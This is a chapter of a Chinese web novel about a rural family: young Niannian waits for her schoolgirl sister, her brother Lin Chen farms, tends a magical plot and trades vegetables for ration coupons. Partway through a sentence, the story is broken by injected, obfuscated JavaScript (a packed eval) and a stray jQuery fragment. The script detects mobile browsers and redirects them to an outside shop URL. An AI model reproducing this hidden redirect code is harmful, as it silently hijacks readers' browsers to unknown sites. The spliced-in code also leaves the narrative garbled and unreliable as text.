熙熙走了八天了。
念念每天数星星，数到五，姐没回来；再数到五，还没回来。她数了两轮，不数了。不是因为不想姐了，是因为她知道，数不数，姐都要等到周末才回来。
她把那本字本翻烂了。边角卷起来，纸起了毛，有几页被她摸得薄了，透光。但她还是每天翻，一页一页地翻，一个字一个字地看。不认识，但她觉得好看。
“念念，吃饭了。”母亲在灶房喊她。
念念把字本合上，放在枕头底下，下了炕。
桌上是一碗糊糊，一碟咸菜。没有鸡蛋了，鸡还小，不下蛋。念念端起碗，喝了一口，烫的。她吹了吹，又喝了一口。
“妈，姐什么时候寄信回来？”
“快了。”
“快了是啥时候？”
母亲没回答。
吃完饭，林晨扛着锄头出门。今天去南坡锄草，玉米已经比人高了，叶子宽大，绿得发黑。他蹲在地里拔草，草不多，但根深。拔了一垄，直起腰，擦了把汗。
李叔在地那头，锄一会儿，歇一会儿。
“晨儿。”
“嗯。”
“你妹在学校吃得饱不？”
“吃得饱。信上说了，食堂饭比家里的稠。”
李叔点了点头，把烟袋锅在鞋底上磕了磕。
“那就好。”
中午收工，林晨扛着锄头回家。院门口，念念蹲在地上，手里拿着那本字本，一页一页地翻。
“念念，吃饭了。”
“等一会儿。”
“等啥？”
“等姐的信。”
林晨蹲下来，看着她。她翻得很认真，眼睛盯着那些字，嘴唇一动一动的，像在读。
“念念，你又不认识。”
“我认识‘大’和‘小’。”念念指着本子上的两个字，“这是‘大’，这是‘小’。”
“对。”
“我还认识‘多’和‘少’。”
“对。”
念念合上本子，抱在怀里。
“哥，你说姐会不会写信回来？”
“会。”
“什么时候？”
“快了。”
念念低下头，摸了摸本子的封面。
下午，林晨正在西洼翻地，邮递员又来了。绿色的自行车停在坡下，他拿着一个信封，朝林晨招手。
“林晨，你家信。”
林晨放下锄头，从地里出来。接过信封，是熙熙写的。字比上次多了，写了一整页。
他拆开，一边看一边往回走。
“李叔，我先回了。”
“去吧。”
院门口，念念正蹲在地上画圈。她看见林晨，站起来。
“哥，你手里拿的啥？”
“信。姐写的。”
念念跑过来，拉着他的手，往灶房里拽。
“妈！姐来信了！”
母亲从灶房出来，在围裙上擦了擦手。
林晨把信纸拿出来，念出声。
“妈，哥，念念，我在学校挺好的。食堂的饭好吃，每天都能吃饱。语文课学了新课文，算术课学了加减法。宿舍里八个人，我跟王秀英最好。她家柳河大队的，离咱家不远。周末我们一起回家。你们在家别太省，该吃吃该喝喝。念念听话，别惹妈生气。哥下地别太拼，伤了身子不值当。妈，你别太累了。熙熙。”
林晨念完了，把信递给母亲。母亲接过信，看了一遍，放进炕上的小木匣里。
念念趴在炕沿上，问：“姐还写啥了？”
“写让你听话，别惹妈生气。”林晨说。
“我没惹。”
“嗯。”
“还说啥了？”
“说食堂饭好吃。”
念念咽了咽口水。
“还说周末回来。”
念念伸出五根手指，看了看。
“还有四天。”
她把手放下，从炕上爬下去，跑到灶房门口。
“妈，姐周末回来，你做啥？”
母亲正在切菜，没抬头。
“你想吃啥？”
“面条。”
“行。”
念念又跑回来，拉着林晨的手。
“哥，你周末去接姐。”
“好。”
念念点点头，从口袋里掏出那枚钢镚——林晨上次给她的，一分钱。她攥在手心里，翻来覆去地看。
“哥，等姐回来，我用这个买糖，给姐吃。”
“好。”
念念把钢镚装回口袋，拍了拍。
晚上，林晨进了一趟空间。黄豆又长了一截，叶子绿莹莹的，豆荚开始鼓了。玉米也长高了，绿得发亮。他蹲下来，拔了拔草，又浇了一遍水。
萝卜大了，白生生的，从土里顶出来一截。他拔了几根，放在筐里，明天拿去黑市。
菠菜也能收了，嫩绿的，叶子肥厚。他割了一捆，码在筐里。
走到木屋门口，打开柜子。里面还有几袋玉米面，两筐土豆。他把新收的萝卜和菠菜放进去，柜子还是空空的，像是永远装不满。
他灌了竹筒，出来，兑进水壶。
躺在炕上，念念的手又搭过来了。她今天睡得不踏实，翻来翻去的。
“念念。”
“嗯。”
“做噩梦了？”
“没。想姐了。”
“姐周末就回来了。”
“还有四天。”
“嗯。”
念念翻了个身，把手塞进他手心里。
“哥，你手好大。”
“嗯。”
“姐的手也大。”
“比你大。”
“念念的手小。”她把另一只手也伸过来，两只手合在一起，捧着他的手，“小手要长大。”
“会长大的。”
念念把脸埋在他手心里，蹭了蹭。
“哥，你身上有土。”
“下地了。”
“你出汗了。”
“天热。”
念念伸手，用袖子给他擦额头。袖子是棉布的，吸汗，擦了之后，林晨额头凉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514610|202911||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了一瞬。
“哥，你太累了。”
“不累。”
“你骗人。”念念把手缩回去，盖上被子，“你睡觉。明天还要下地。”
林晨笑了。
第二天一早，念念起来，第一件事就是跑到院门口，往路上看。
路空荡荡的。
“念念，姐周末才回来。”林晨从灶房出来。
“我知道。”念念蹲下来，拿小棍子在地上画了一个圈，“今天是第几天了？”
“第五天。”
“明天第六天？”
“明天周末。姐回来。”
念念想了想，站起来，拍拍手上的土，走进灶房。
“妈，姐明天回来。你做面条。”
“做了。”
“多放点葱花。”
母亲看了她一眼：“你还会点菜了？”
念念点点头。
下午，林晨去了一趟黑市。背篓里装了几捆菠菜，几根萝卜。他走的是老路，翻过鹰嘴岭，到了砖窑。
窑门口蹲着几个人。他找了个墙角蹲下来，把背篓放在面前。
上次那个中年人没来。等了一会儿，一个穿灰褂子的老头走过来，蹲在他面前。
“啥东西？”
“菠菜，萝卜。”
老头看了看，拿起一把菠菜，翻了翻，又拿起一根萝卜，掂了掂。
“咋卖？”
“换票。粮票布票都行。”
老头想了想：“菠菜一把换一斤粮票，萝卜一根换半斤。”
林晨心里算了一下。五把菠菜换五斤粮票，五根萝卜换两斤半，一共七斤半。
“行。”
老头从口袋里掏出粮票，数了七斤半，递给林晨。林晨接过，装进口袋。老头把菠菜和萝卜装进一个布袋，夹在腋下，走了。
林晨蹲了一会儿，站起来，往回走。
到家的时候，太阳快落山了。念念站在院门口，伸长脖子往路上看。
“哥，姐明天回来。”
“嗯。”
“你明天去接她。”
“好。”
念念点点头，走进灶房。
“妈，哥明天去接姐。”
“听见了。”
念念蹲在灶台边，帮母亲添柴。灶膛里的火光照着她的脸，红扑扑的。
“念念，别添了，火太大了。”
念念把柴放下，站起来，拍了拍手上的灰。
“妈，姐回来，你跟她说，我想她了。”
“你自己说。”
“我怕我忘了。”
“那我现在跟你说，你记住。”
念念点点头，嘴里念叨：“我想你了，我想你了，我想你了。”
念了三遍，抬起头：“妈，我记住了。”
母亲看了她一眼，嘴角动了一下，没说话。灶膛里的火噼啪响，锅里的水咕嘟咕嘟冒泡。
念念蹲在灶房门口，看着天边。天边红了，太阳落下去了。她伸出手，对着天边数了五根手指。
明天。